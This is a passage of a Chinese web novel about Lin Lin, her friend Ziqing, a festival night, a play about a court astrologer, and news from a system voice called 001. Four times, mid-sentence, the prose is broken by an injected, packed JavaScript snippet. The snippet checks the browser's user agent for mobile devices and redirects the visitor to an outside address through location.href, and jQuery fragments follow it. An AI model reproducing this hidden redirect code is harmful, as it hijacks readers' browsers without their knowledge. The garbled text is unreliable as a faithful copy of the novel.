就在这种不服输和较劲的心理鼓动下，两人成功将时间耗到了春朝节开始前十分钟。 “别拉着我跑这么快！”子卿扶住不断在脸上颠簸的面具，“路上这么绕，咱们要不就走房顶吧。” “别了，”林霖拉着子卿又拐了一个弯，扎成马尾的头发在身后随风飞动，“之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098717|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我眼睛刚好，你就拉着我上房顶，结果把孙叔家瓦片给踢落了。” “你是戏台上的重要人物，可别迟了啊，我还等着看你演出呢。” 听到这句话，子卿也不抵抗了，顺从地被林霖拉着向前方跑去。 终于再拐过一个巷口后，林霖迎来了她第一个春朝节的夜晚的灯笼的光。 随之传到耳边的就是欢声笑语，“这不是阿霖吗，要来喝一喝你成姐的新酿吗？” “子卿你这小子怎么才来啊，今晚你也是演这场戏的主角呢，还不快去准备！” “阿姐阿兄，我能向你们讨一些糖吗？”一个林霖没见过的小女孩来到了他们身前，局促的将手背在了身后。 “当然可以，”林霖从子卿手中接过了两颗糖果，在小女孩有些开心的眼神中，背到身后握着拳晃了晃手，又重新张了开来，彩色的糖果纸从她的掌心满得溢了出来，晃得小女孩的眼睛发出了惊喜的光。 “姐姐，这些都可以是我的吗？” “当然，”林霖伸出了手，将糖放在小女孩手里，她当初向子卿学这招就是为了今天这个场景，“都是你的，春朝节快乐。” “也，也祝阿姐快乐，事事顺遂，万事平安。” 子卿笑着站在她身后，又递给她一把糖果，“开心吗？” 周遭的声音很热闹，但不妨碍林霖听到了这句话，她大声回道：“开心啊，我从来没这么开心过！” 子卿听到了她的回答，一直向着她笑。 “子卿哥，阿霖姐，你们可不能厚此薄彼呐。”一堆小孩凑了过来，纷纷要求自己也想要那个戏法。 彩色的糖纸不断充盈在林霖的手掌间，也照亮了每个孩子的眼睛。孩子讨了彩，向他们祝个吉利话，蹦蹦跳跳的拉着同伴向另一个人走去，迎接独属于春朝的一把又一把的糖果。 直到两人准备的糖袋子里的糖空空如也，孩子也都得到了糖果，安静而快乐地做到亲人身边品尝着自己的成功。 林霖虽然感觉这戏法变得实在是累，但也得到了从没有过的满足和安稳。 “不知道你喜欢吃什么口味，但是，”子卿也晃了晃手，晃出来一颗黄色的糖果，糖纸上有细碎的流光，顺着风流到了林霖的掌中，“春朝节快乐。” 子卿在夜中笑得开怀，让林霖的心忍不住泛出些许悸动，“你这是......” “我觉得你也该拥有一颗糖，”子卿抱着胸，微微歪头看向林霖，“虽然少，但我可是藏好了这颗糖，没让那群小孩儿们发现，别嫌弃寒酸啊。” “你又不是只请我吃过这糖，”林霖看了那颗糖许久，最后还是将它放进了自己身上挂着的锦囊里，那时阿双特意给她绣的刺品，“我很感动，真的，谢谢。” “今日你真是说过太多谢谢了，”子卿向林霖伸出了手，“走吧，跟着我走，我带你找个位置，接下来让你看看春朝节最特色的表演，别忘了看我。” 林霖将手放了上去，“放心，我会是你最忠实的看官。” 17. 戏台 林霖坐在桌前，拿起了一块梨花酥放进嘴里，看着幕布被拉上，又重新拉开。 两串红灯笼在风的吹拂下轻轻晃荡，站在桌前的说书人叹了口气，沉默了半晌，缓缓讲起十年前的往事。 “侠骨情，平生意，尽在那一柄折扇里，谁听不感叹一声世道无常。” 话说当年，京城里有一个国师，少年天才，鲜花着锦。还未至而立之年，天下才学就尽数入了他的眼，全心全意的辅佐着怀着滔天雄心的梁宣帝，为了他们称霸天下的雄心，两人一拍即合，创作出《万蛊》这本万世禁书。 平常没个正形的人穿着绣着仙鹤的红色的官袍，眼中的野心与热切把坐在下面的林霖快要灼伤。 她拿起杯子遮挡着自己的神色，这人的演技以往就这么好吗？ 台上的少年国师与少年将军从莫逆之交走向割袍断义，最终为了皇权，相互残杀。滔滔大火掩盖了所有的罪恶，只留了一个人。 “你觉得这出戏怎么样。”一道温和的声音在她耳边响起。 林霖闻声望去，发现是穿着常服的林述，也是这场戏的的主人公。 “您......” “当初钟不为来找我，求我助他一臂之力，”林述笑着看向杯中的酒，“我就向他索要了这个报酬，看看世人眼中的我们，应当是什么样。” 林述将杯中的酒一饮而尽，“现在看来，真是和他当初预料的一模一样。” “是那位国师大人吗？” “是啊，虽然他活了没多少岁月，但天地的一切似乎都能被他预料到，”看着台子上倒在将军怀中的少年卿相，“你觉得他们是什么关系。” 这样从生死中相依的关系，说友太轻，说爱太浅薄，但若是叫做政敌，又少了些许缘分。 “大概是家人吧，这场戏比我在别处听过的多了几分离别的悲怆。” “......” 林述没有说话，只是静静地喝着杯中的酒，直到戏台落幕，她才说道：“我们赶到那里时，没看到林砚，可能被水冲走了，也可能被其他人带走了，”说到这里，她看了林霖一眼，“虽然林府烧了，我带兵围了叛党，但那些人全部转移走了，就连林舒然的尸体也不在落花苑的那间屋子里。” 林霖握着酒杯的手一抖。 “万事小心，”林述叮嘱道：“事实上《万蛊》那本书，直到最后梁宣帝也没有告诉我们它的来历，但绝对不属于梁国，现在看来，林家很有可能不属于这里。” 看着林述离开的背影，林霖只觉得思绪纷杂，还没等她想出个所以然来，一阵欢呼声打断了她的思绪。 她转头望去，红艳的火光在台上绽开，子卿站在那里，剑起剑鸣声破空，一招一式或是大开大合，又轻如羽翼。在雨的倒映下，亮得让人头晕目眩。 带着面具的少年回身对她一笑，挽了个剑花，腾空而起。剑上的火焰斩破了夜空，红的桃花，白的梨花顺着剑与风吹到了桌子上与发丝上。 林霖觉得自己大概是喝醉了，听着烟火响起的声音，看着那亮如白昼的夜空与那双含着笑的眼睛，竟觉得自己与世间隔了开来。 梨花落到手上的那一刻，她连周边的声音都听不到了，只能看见子卿渲染着红的衣角在她眼中逐渐放大。 满地梨花落下，皎皎明月在雨的残影中落在她的身边。 在水雾氤氲中，一件衣服披到了她的肩上，驱散了林霖周身的寒气。 “怎么这么看着我，莫非是我在台上出了什么差错？” 林霖这时才发现，眼前人的眼睫早已结上了些许露珠，“你把衣服给我了，你该怎么办。” “无事，一件外袍而已，”子卿给自己倒了一杯热茶，“裹紧一些，里面的绒穿起来很暖和，等会去的地方靠水，会冷。” 林霖看着这人也不像强撑着的模样，也就依言将外袍裹上了，“你何时换了一身衣服，我都没有发现。” 子卿笑了起来，白衣胜雪不同于往日散漫，倒真有些话本里白衣剑客的模样了，“看来我的戏法表演的实在是好，看得你完全不知我衣着的改变。穿白衣舞火剑更好看些，那场戏刚演完，我就匆匆忙忙将红色的那件外袍脱下了。” 听着古筝与二胡的齐响，林霖原本有些惆怅的心情直接如烟般消散。 她沉默地喝了口茶，斟酌了一下词句，“我可能要离开这里了。” 子卿一愣，扶了扶脸上的面具，语气有些急促，“那你是今晚就要走吗？” 林霖笑了，又喝下一杯酒酿，“我走这么急促做什么，怎么，今天就不欢迎我继续住下来了？” “怎么会，”子卿道：“我只是没想过这么突然。” “总有些事情是需要去干的，”林霖看着云中影影绰绰的月影，“有些事情我也不会放下，”看着子卿的眼神，她笑着趴在桌子上，“怎么，你舍不得我啊。” “舍不得，所以之前说好的，我要和你一起走。” 听着子卿坚决的语气，林霖看了他良久，最后还是轻轻地摇了摇头，“不，我要干的事情很危险。” “就是因为可能有危险我才要去，”子卿看着她，“江湖上打打杀杀尚且需要故人相助，何况是更加危险的朝堂。在武力方面，我也不是一窍不通。” “那阿双他们怎么办，若是他们吵着要他们的兄长。” 子卿给自己倒了一杯酒，“他们总不能一直被我看着长大，我也有事情要去办，只是与你同路，这个解释如何？” 林霖长叹了一口气，“就算我拒绝了，你也会跟在后面吧。” 两只杯子发出清脆的碰撞声，“既然如此，别丢下我。” “放心吧，明年我还想来这里看烟火，”林霖顿了顿，“不止在春朝。” 周围的人随着戏台的闭幕渐渐散去，大部分都往城外河的上游走去，去放河灯，寄托这一年的心愿。少部分人实在熬不住，将灯交给了家人，拜托他们把自己的心愿带给春朝神，而自己则是提着灯慢慢走向回家的路。 “还要再等一会，”子卿取了一块酥点，“等月亮出来一些。” 看着林霖有些困倦的双眼，他声音里带了些笑意，“困了的话，等会你抓着我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101726|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣角过去。” 林霖评估了一下自己的精神状态，最终含糊的应了一声，看着头顶的云翳发呆，或许她今日真是喝多了，竟然醉成这样。 后面子卿似乎在她身旁问过几句她要不要回去睡觉之类的话，她嫌烦，就将他的嘴捏上了。 “不要说话，小声些。” 身旁的人似乎有些无奈，但还是没有再说下去。 时间长了，林霖也有些疑惑，这人之前有没有说话。 一只手碰了碰她的袖子，她有些疑惑地抬头，对上了一双可怜兮兮的眼睛。 “你要说话？”林霖愣怔了一会，放开了手。 “是啊，”子卿长舒一口气，声音像是从天边传来的一样，“你喝了几杯啊，怎么醉成这样。” 林霖撑着头，有些茫然的看着眼前的酒杯，“没有啊，就喝了两坛。” 看着身旁人有些震惊的双眼，她强调了一遍，“我没撒谎，我再喝一杯给你看。” “别喝了别喝了，你才大病初愈，”子卿连忙劝了下来，“那你还走的动路吗？” “可以啊，”林霖打了个哈欠，站了起来，向前走了两步，“你看着我走几步，1,2,3......” 看着林霖一本正经的模样，子卿叹了口气，站起身，将衣角递给了她，“那你跟在我身后，我带你去......” “去看月亮，”林霖突然兴奋，牵住了那片雪白的衣角，“走吧，我们去看黑着天也能看得到月亮。” “是啊，跟着我走，”子卿回头确认了一下林霖的位置，“拉紧我。” “好！” 月光慢慢从云后挪出，照在地上的小水洼中，变成无数晶莹的小碎片，每一片都有亮得不同的月亮。 清风吹拂过树梢头，梨花枝上悬挂的小铃铛轻轻一响，声音裹挟着香气，萦绕在两人周围。 花瓣上的点点露珠，在这种映照下，散发出雪一样的光辉，林霖空出一只手，又将衣服裹紧了些。 这里的人实在是少，草也生得格外茂盛，估计是子卿不知何时跑来跑去找到的地方。 “我可以捂住你的眼睛吗？” 林霖想了想，“是要带我去看秘密吗，那你捂吧。” 子卿仔细思索了一会，“不，这样有些危险，你闭上眼睛吧，我带你过去。” “好。”林霖严肃着脸点了点头。 视线随着她闭眼的那一刻消失，她忍不住捏了捏握着的那片衣角，走了不知道多久的路，才适应下来黑暗。 那她之前为什么不怕呢？ 是因为她一直不怎么出门？ 还是因为曾经领着她向前走的是身边这个人的手，而不是衣角？ 时间在黑暗中逐渐模糊，林霖有些受不了这种沉寂的气氛，开了口，“能陪我说会话吗？” “嗯？好啊。”在子卿开口的那一刻，她确认了。 曾经不怕孤单的她终于有了害怕的事情。 这样看来，与其说是子卿陪她去处理未完的世事，不如说是她必须需要这人陪在身边排解煎熬罢了。 18. 月照花林 林霖有些郁闷的看着被熄灭的灯，“就算有月光，现在也什么都看不清啊，我们要在这里一直等着吗。” “这倒不用，”子卿看着远处的河面，“今日风有些大，那些灯来的比较慢，是我的错，应该带你吃些糕点喝些热茶再过来。” “比起喝热茶，”林霖伸手舀了一捧水，“其实我还是更愿意喝一些......” “不可以，不允许，”子卿立马回到，他又看了一眼林霖跃跃欲试的神情，“虽然说它确实不烈，没什么酒味，但绝对不能喝太多。” “啊，是月亮，可是哪里来的这么大的......” 林霖有些失语的看着河灯照映出来的弯月，明月的另一半在水中轻轻摇晃，点点花灯在上面点缀。 她的眼睛还没有好完全，望过去的时候看不清桥洞的一砖一瓦，只能看见一条“星河”拨开落花与垂草，向着看不清终点的桥对面流去。 她张开手，向前探去，仿佛真的将明月握到了手里。 “要去放河灯吗，”子卿看着林霖眼中的那轮月光，“把你想的放到灯里，流向远方，点点灯火如星，但聚在一起，可以点亮月亮。” 林霖笑了起来，“你这句话准备了多久，今天终于说出来了？” “是啊，”子卿变戏法似得从身后摸出了两盏没有点燃的花灯，“从我六岁那年就期盼给别人分享这个秘密，只可惜城内与我同龄的人实在是太少，大人实在是太过无趣，小孩又不懂这些意象。” 说到这里，子卿的眼中泛着柔和的光，“还好等来了你，可以和你一起去看月光，若只有我一人来看，倒真辜负了这番美景。” “这样说来，我们天生就是该成为好友的，”林霖摸出来了一个火折子，和一截短短的蜡烛，“这样就算我们两个人一起准备的灯了。” 子卿看向那根蜡烛，“这是......” “这是我刚恢复的那会，你放在屋里的那根蜡烛，”林霖看着他说道：“每次你将灯吹灭的时候，我就知道到睡觉的时间了。这么一来一往下来，我能看清屋里东西的时候，发现它还剩下一些，这次兴起，把它带了过来。” “那你要准备把它放到河里吗？” “可以啊，”林霖想了想，将河灯里原本的蜡烛取了出来，“等它在我手里放旧了，就像之前一样，你拿故事来和我换吧。” “这样即使我们分别了，也还有事情能让我们重新聚到一起。” 他们手中的灯落到了水中，飘飘荡荡的顺着水与风和其他的灯汇聚到一起，向着传说中春朝神所在的方向漂流而去。 两个人一个蹲在地上看向远方，一个撑着坐在地上望着月亮。 良久之后，桥洞又恢复了黑暗，子卿看着波光粼粼的水面，拍了拍手站起身来，“走吧，带你回去。” 林霖也站起身来，整理了一下衣服，“说起来，我好像很久都没有在夜晚里出来了。” “嗯？” “我以前在白天经常吃不饱，”林霖轻轻一笑，解释道：“但我现在已经很久没有为这件事情发愁了，因为我很久不会饿了，每天都很开心。” “你......即使呆在京城也会挨饿吗？”子卿不知道自己怎么说出的这句话。 “是啊，其实不止是我，还有离我们很远很远，但也在城里的一块地，那里几乎全是乞丐和吃不饱饭的小商贩。商贩的东西几乎只能在他们那里卖，我们这里的人不会要；乞丐倒是可以来我们这里乞讨，但得到的钱买不到聚芳斋的半颗糕点。” 想起这些，林霖的心底还是有些难过的情绪在流淌，“我原本是想离开这里的，但我在那里还能去小厨房里偷东西吃，偷不到也可以去院子里拿些落花，填饱充饥。若真离开那个囚笼，恐怕活都活不下去，我很感谢他把我捡回来，但在那种情况下还要被他们打压，扣上莫须有的罪名，我恐怕是真的会疯掉。” 子卿没有说话，静静地跟在林霖的身后，听着她絮絮叨叨的声响。 “我恐怕是真的喝多了，”林霖叹了口气，“就当我今天什么都没说过吧。” “好好睡一觉，明天我来找你。” 走在回去的路上，林霖还是有一种不踏实的感觉，踩在地上的时候，都有一种踩在棉花上的感觉。在靖城居住的这些天就像是梦一样，美好的不真实，但就算再不真实，她也得回去，去斩断那些孽缘与仇恨。 “我还以为你再也不会去管那些事情了呢。”001冷不丁地在她脑海里调侃了一句。 即使过了这么久，林霖还总是会被这突如其来的声音吓一大跳，“虽然你总是神出鬼没，但我还是很感谢你这段时间没来骚扰我。” “宿主为什么会这么想？”林霖居然从001奇妙的声音里听出了些惊讶的情绪，“难道宿主不认为我给你带来的都是喜讯吗？” “我不这么认为，”林霖揉了揉吹得有些发凉的脸颊，“你每次通知我的时候，基本上事情都正在发生，我根本不能去规避灾难和即将发生的事情，更何况，你给我的惊吓比惊喜更多。” 001刚想反驳几句，但细细思索过这几年发生的事情后，肯定了自己基本上不带什么好消息这件事情的真实性。 “好吧，宿主，这次又得带给你不好的消息了。” “嗯？”林霖揉了揉有些发胀的脑子，打算听听它能说出个什么一二三来。 “很遗憾告诉宿主，林舒然并没有死。” 林霖垮下了脸。 “但还有一个消息，”001补充道：“她现在也不算是人。” “什么？” “您的第二位兄长林书把她还未凉透的尸体带走了。” “然后呢？” 林霖随口答到，一脚迈进了门扉。 “然后他把林舒然做成蛊尸了。” 林霖狠狠在台阶上绊了一下，废了很大的力气才完全站稳。 “你说什么？” 001并不惊奇于林霖的态度，即使是它，得知这一切的时候也很意外。 “林书把林舒然做成了蛊尸，但也不完全是蛊尸，因为林舒然被炼化的时候还没完全断气。” 林霖的心头闪过一股难言的恶寒，刚才喝酒酿与放灯时的兴奋产生的些许热意全在此刻烟消云散，连丝尾巴都不剩下。 良久后，林霖才逐渐回过了神，匆匆走进了屋子里，取出一只新的蜡烛点了起来。 “其实我一直明白，他们之间没什么感情，”林舒然捏了捏杯子，“但我怎么也想不到，林书居然能丧心病狂的把林舒然炼成那种东西。” “其实那是你二爹和你二娘的要求，”001叹了口气，“需要我帮宿主把水加热，慢慢叙述吗？” 林霖点了点头，最后一丝酒意也散干净了。 看着没有火，凭空慢慢沸腾的水，林霖原本想表达一下她的惊讶。但无论怎么去笑，她最多也只能扯一扯嘴角。 没过多久，她就放弃了这件事。 “你说吧，不论什么，我大抵是能够承受的住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101727|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 虽然林霖的神情是平静的，但看着她微微颤抖的手，001还是打算长话短说，“他们只打算带林言走，但林书求他们也把他一起带走，为了证明自己的价值，林书当着他们的面将林舒然炼成了蛊尸，然后成功离开了林府。” 林霖给自己倒了一杯热水，“我有一个问题。” “你直接问我就是。” “林舒然尸体是谁捡的。” “你二爹二娘。” “林书听到这句话的反应如何。” 001沉默了，良久后才说道：“我不太能分辨的出这些东西，但大抵是兔死狐悲的，他没什么情绪。” 林霖舒了一口气，“我知道了，谢谢，你这次告诉我告诉的很及时。” “不客气，这算是你在我忙碌的时候偶然完成一些任务的报酬。” “嗯？” 001解释道：“你继林府的下一个任务原本就是探听关于《万蛊》这本书的过往。” “所以你的意思是，我呆在靖城的这段时间里，已经将靖城的过往探听的一清二楚了？” “是啊，不清楚的也被林述暗中透露个清楚了。” 林霖揉了揉额角，“好吧，我恐怕需要一些时间来理一理我纷乱的思绪。” “对了，那林砚去哪了？”林霖突然想起来了这件事。 “这件事涉及到主线了，不能解锁。” 林霖艰难地翻译了一下这句话，简而言之就是她又遇上了一些和她解开剧情相关的事情，但这些事情处于现在她还不可知的情况，但001清楚，所以无法去探查这件事情的真相。 “行，我知道了，明天就出发。” “去哪，宿主你知道吗？” 林霖喝完了最后一口水，“去柳州探听情报，涉及到这些的你又不会告诉我。” “知我者，宿主也。”001笑着说。 “对了，宿主，你要把，嗯......子卿带上吗？” “不带。”林霖拒绝的很干脆。 “为什么？”001有些疑惑。 林霖叹了口气，“他是个好人，还是我唯一的朋友。” “所以？” “要是像以前那样，因为和我玩，所以就莫名其妙失踪，我会后悔一辈子的，”林霖的目光暗了下来，“我不会让他去涉险去为我的事情奔波的。” “......你们还真是奇怪。” “我就当你是夸奖我了。”在完全驱散身体里的寒意后，林霖吹灭了蜡烛，躺回了床上。 就在林霖快要睡着的时候，一道声线幽幽出现在她耳边，呢喃道：“既然宿主做任务如此尽力，我自然也要给宿主一份大礼。柳州绣庄找绣十娘，给她看你师父的玉牌，不用银子，你就能探听到你想要的消息。” 林霖咬牙切齿的捂着自己的心口，“你就不能知会一声吗，天外奇物不用睡觉的吗？” “下次我会注意，和消息提醒一起更进，”001笑着道了别，“晚安宿主，之后柳州再会，真的是最后一个事情了。” 林霖眼神空洞的扒拉着被子，“你说。” “你的马被钟不为带到了京城的马庄里，我跟他说了，你直接取走就可以。” 林霖有些意外，那人连拐杖都不给她留，居然还会把她的马带回来，他有这么大的善心？ “他觉得这匹马很好看，留在那里可惜了，先带走的马，才遇到的昏迷的你。” 果然，她就不该报什么期望。 19. 夜行 林霖被001叫醒的时候，下意识往窗外看去。 天上蒙着一层阴影，连鸡与狗都沉默地缩在屋子里。 “你这么早把我叫起来是为了什么，”林霖艰难地起身，只觉得心脏剧烈跳动的令她难受，“你想谋杀我请给我选择一个体面的方式，不要用这种手段来残害我。” 001看着林霖，“下次我注意，但你现在不走，就得带着子卿一起走了。” “嗯？”林霖茫然地撑着自己即将坠下来的眼皮。 “子卿卯时起，现在是寅时刚过一刻，你只有一个多钟头的时间离开这里，”001残忍无情的在林霖的脑海里敲锣打鼓，“还是你想走的时候接受全城人的欢送。” 林霖被逼的强打起精神，飘飘忽忽地站起身，拿起外袍往身上披，“您真是我祖宗，走走走，现在就走，祖宗能给我指条路吗？” 001沉默了片刻，才说道：“这样吧，我给你三条路，你自己选一条走，之后的事情我概不负责。” 林霖莫名其妙的看着眼前出现的荧蓝色光图，之后不论在脑海中怎么呼叫001，这个狗东西都一声不吭，她的脑内像死了一样安宁祥和。 算了，早晚有一天能把这玩意拉出来打一顿。 她看着地图上的闪烁着的三条光线，决定选一条最快的路出城。 夜深露重，林霖背着包袱走在积蓄着雨水的草地上，冷意伴随着寒风一起溜进她的衣服里，让她浑身上下变得潮湿而重着。 这什么鬼天气？ 她摸了摸半干的衣袖，无奈地将扇子从袖子中取出，挂在腰间，继续向地图指引的方向走去。 “你在这里做什么？” 那是一道陌生而又熟悉的声音，音色与每日陪伴在身边的人十分相似，但语气与语调上扬的幅度却陌生的让人感到别扭。 林霖将信将疑地刚转过头，就看到一双漂亮的眼睛似笑非笑的盯着她看。 那人似乎才刚沐浴完，朝她走过来的时候，发丝上的水汽化成雾，夹杂着梨花的香气，平淡而霸道的给她周身的空气染上了香味。 直到他走过来的那一刻，林霖才认出来这位不速之客的真实身份，“......你在这里是为了？” “为了看看你想溜到哪去，”钟不为笑着看向她，眼中却没带几丝温度，“靖城是虎狼窝，让你这么想从这里逃走？” “我以为我们见面的时候起码能维持表面的和谐，”林霖叹了口气，“表兄将我扔进火堆的时候，可不是现在这个态度，莫非你对救我回来后悔了？” 钟不为看着她，“我从不后悔，倒是你，看起来是后悔带子卿走了。” 这人怎么知道的这件事，明明他们从未遇见过...... 林霖感觉自己右眼皮狠狠地跳了两下，“你怎么知道的。” “我虽然不太喜欢他，”钟不为将微微敞开的衣服拢了拢，“但不管怎么样，他也姓钟，和我是同一家的人。” 林霖有些震惊，“所以阿双也是......” “她叫钟双，”钟不为一双狐狸眼中全是戏谑与同情，“我要是知道你这么讨厌我，我一定不会叫我本家的人到你身边去。” 林霖下意识摸了摸腰上挂着的扇子，神色颇有几分古怪，“我要是不知道我给你打了一下午白工，我现在对你态度还能温和一点。” “更何况，”她也上前一步，有些不爽的与钟不为对上视线，“你是故意看着我和林砚帮你奔来走去的吧，看着我们被那群东西揍得脸上挂彩吐血，你是不是感觉很爽？” 钟不为对上林霖质询的视线，愣了一瞬，把头慢慢的偏了过去。 林霖啧了一声，“钟不为，你是不是在笑。” “我没有。”声音可怜而单纯，但任林霖怎么听都能听出话语里的那一丝笑意。 事实上，钟不为确实忍得有点难受，虽然他也不知道自己为什么要笑。 林霖走到他面前，将对方的脸掰正了过来，盯着钟不为唇上被自己咬的咬痕，她感觉自己也得被气笑了，这狗东西居然真的笑了。 “你来这里是做什么？” 形势逆转，钟不为站在低林霖几个身位的地方，接受着来自对方同样的位置，他眨了眨眼，抬起头，“钟子卿叫我来盯着你，别让你一个人跑了，不安全。作为交换，他把他藏了五年的酒给我了，我很满意这场交易。” 看着他微微颤动的眼睫，和大敞着的衣领，林霖长叹了口气，松开了对方，“你也是真不容易，这么冷的天，刚沐浴完，就听到了我的动静，急匆匆的出门，连衣服都来不及穿齐整。” “没关系，我出门前喝了些梨花酿，”钟不为退后了一步，揉了揉有些酸胀的脖子，“拿人钱财，替人办事，很划算的买卖。” 林霖冷下脸，“你以为我真的在关心你？你是属狗的吗，跟人跟的这么紧。” 钟不为坦然承认，“是啊，所以我闻着你身上的味就出来了，回去继续睡着吧，明天他和你一起走。” “还是说，”钟不为若有所思的看着她，“你不想跟他一起走？我可以帮你拒绝他，让他不要再死缠烂打的跟着你，作为赔礼道歉，不收你的报酬。” “你的嘴是淬过毒吗，怎么连你本家的人都骂，”林霖想了想，下定了主意，“我并不是对他困扰，不过有他跟着我一起走，也很不错。” “你不是要补偿我吗？” 钟不为疑惑地看着林霖，静静的等待她说出下文。 “你跟着我们一起走，主要是保护他，”林霖指了指自己的脑子，“它和我们连在一起，你应该不至于对我们捅刀子吧。” “......” “怎么，不愿意？” 他摇了摇头，“不，我可以去，但我不会出现在有他的地方。” “到时候我会暗中跟着你们，不必与我联系，有什么事情，喊001我就会出现。” 不待林霖开口，钟不为摆了摆手转身向远处走去，腰上的剑在月光的照映下闪着银白的光。 待到那人的影子完全看不见后，林霖才向屋子的方向走去。 “001，你不跟我说话是因为你不想吗？” 001知道自己再不冒头，就会被永久打入黑名单了，于是它赶紧开口撇清关系，“不是我告诉他的。” “嗯？” “他问了路，但是我没答应告诉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128401|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”001叹了口气，“然后他就自己爬上山顶去观察动向了。” “你倒是心虚的把什么都说出来了，”林霖冷嘲热讽了一顿，“你若没跟他提过我的事情，他又怎么会爬到山顶去盯着我。虽然你不是人，但你与钟不为一样都是狗东西。” 001不说话了。 林霖压下心中的火气，重新躺回床上，思考着接下来的对策。 半年前林府大火有三个疑点，身为林府的当家主人，林父居然从头到尾都未曾出现；赏花宴上权贵众多，他们到底是什么时候离开的林家？只凭借林家的那些事侍卫和仆从，定然干不出如此销声匿迹的事情，如果是世子府出手介入...... 还有当今圣上对林府的态度，虽说林述是接旨调兵，但若没有上头那位的默许，在皇城内是无法挖出那么大的一个地下通道，其中定有官家手笔。 若真是这样，恐怕这一任圣上也会对林述下手，夺取兵权，回收势力了。 如果是这样的发展，那钟不为，他在其中扮演的是哪一方势力的角色。 林霖脑海中浮现出那张对什么都浑不在意的脸，还有他手里握着的极快的剑。 这就是她为什么会讨厌骗子，真假参半，虚虚实实，若认为是假的，他会笑你心机太过深沉，连他都信不过；若你认为那是真的，他又会叹息你的单纯和愚蠢。 他骗术的高低完全取决于你此时的好用程度。 林霖时常怀疑这一切的真实性，这人把她带到这里是否别有图谋，甚至连子卿和阿双都是在他安排下来到她的身边，与她交往。 但她也自知自己无任何所长，没有什么让人图谋的地方。 自己那位好友在谈及钟不为的时候遮遮掩掩，钟不为对此也是一钟嗤之以鼻的状态，这样下来...... 林霖困得打了个哈欠，在隐隐约约的狗叫声中重新睡了过去。 日有所思夜有所梦，或许是白天的一切太过深刻，竟梦到了子卿在梦里烹茶。 茶香四散，雾气袅袅，林霖坐在他的对面，像曾经无数次那样，坐到了他的对面，欣赏他煮茶的一举一动。 茶叶也在热水一遍遍的冲刷下，跳跃于水面上。 “我和他相比，你更喜欢谁？”子卿递给她一杯茶，笑得清浅。 “你是说？” “他说是和我相比，你更愿意和谁呆在一起。”钟不为难得穿着一身黑衣，冷漠地看向林霖准备接茶的手。 林霖将手收了回去，皱着眉问道：“你们？” “我们都没什么交心的好友，”子卿笑着走到钟不为身边，银色的面具散发着浅淡的光晕，“你若选择了他，可久不能选择我了，我交友只讲究专一。” 钟不为在子卿凑过来前，皱着眉离开了这里。 只留子卿靠在亭柱上，朝着她笑。 林霖走到他身边，鬼迷心窍的将面具摘了下来，却发现眼前的人长着一张无比熟悉的脸。 “你知道我是个骗子，”子卿将从林霖手中滚落的面具捡了起来，“既然你看到我的脸，我也就留不得你了。” 熟悉的银光在眼前闪现，只不过这一次，剑尖对准的是她的胸膛。 20. 柳州行 林霖猛地惊醒，看着站在自己身前的子卿，吓得往后一跃，撞在了墙上。 “你这是……”子卿欲言又止地收回了手，“我有这么吓人？” 梦里被捅死的残留的痛感似乎蔓延到了现实，林霖一手捂着撞疼的头，一手安抚着不断跳动的心脏。 “没事，是我做了个噩梦。” “没事就好，”子卿虽然感觉有些不对，但他还是没有追问下去，“我在外面叫了你好久，一刻钟过去了，你也没有应答我，我这才过来看看你的情况。” 就这么捂了好一会，林霖才感觉自己缓了过来，她摆了摆手，“可能是我昨夜太过疲累，没有休息好，总之不是什么大事。” “要我给你叫个大夫吗？” “多谢，但是不必，”林霖将右手搭在了左手上，“我勉强算个半吊子大夫，大概率只是心悸而已。” 又弦又数，果然是被吓到了。 想起昨夜那张可恶的脸，林霖又给自己加了一个诊断，也被那人气到了。 “你居然真的会医？”子卿有些惊讶。 林霖看着他，“怎么，我看起来不像吗？” “这倒不是，”子卿倒了一杯水，“只是比起医术，你看起来更喜欢用毒。” 